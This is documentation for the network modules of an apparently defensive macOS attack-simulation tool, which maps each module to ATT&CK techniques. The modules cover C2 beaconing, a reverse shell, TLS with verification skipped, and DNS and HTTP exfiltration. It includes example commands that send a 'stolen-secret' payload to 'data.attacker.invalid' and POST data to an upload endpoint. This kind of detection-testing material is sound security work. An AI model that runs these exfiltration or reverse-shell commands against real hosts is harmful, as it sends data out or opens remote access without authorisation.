network

network

Outbound connections, DNS, beaconing, listeners, reverse shells, and data exfiltration simulation.

Modules

net_connect

Initiates a TCP connection and HTTP GET. Maps to T1071.001.

macnoise run net_connect --param target=10.0.0.1 --param port=443

net_listen

Opens a local listener and simulates an inbound self-connection. Maps to T1571.

net_beacon

Periodic HTTP requests simulating C2 beaconing. Maps to T1071.001, T1102.

macnoise run net_beacon --param target=http://example.com --param count=5 --param interval=2

net_dns

DNS resolution of configurable domains. Maps to T1071.004.

net_revshell

Connects a shell to a remote listener (connection refused is expected without one). Maps to T1059.004.

net_tls

Performs TLS handshakes to configurable endpoints and reports the negotiated version, cipher suite, and server certificate subject. Fills the encrypted-traffic gap that all other network modules leave open - no SNI/JA3/certificate-based detection fires without a TLS handshake. Pass insecure=true to skip certificate verification, matching what real C2 does with self-signed certs. Maps to T1573.002.

macnoise run net_tls
macnoise run net_tls --param targets="10.0.0.1:8443" --param insecure=true

net_dns_exfil

Encodes a payload into base32 DNS subdomain labels and resolves each query. The .invalid TLD (RFC 6761) means queries never leave the resolver unless the base domain is overridden. Maps to T1048.003.

macnoise run net_dns_exfil
macnoise run net_dns_exfil --param payload="stolen-secret" --param base_domain="data.attacker.invalid"

net_exfil

Sends an HTTP POST with a randomly-generated dummy payload to a target URL. Records request size, response status, and elapsed time. Connection refused is valid telemetry — no listener required. Maps to T1041.

macnoise run net_exfil
macnoise run net_exfil --param target=http://10.0.0.1:9999/upload --param payload_size=8192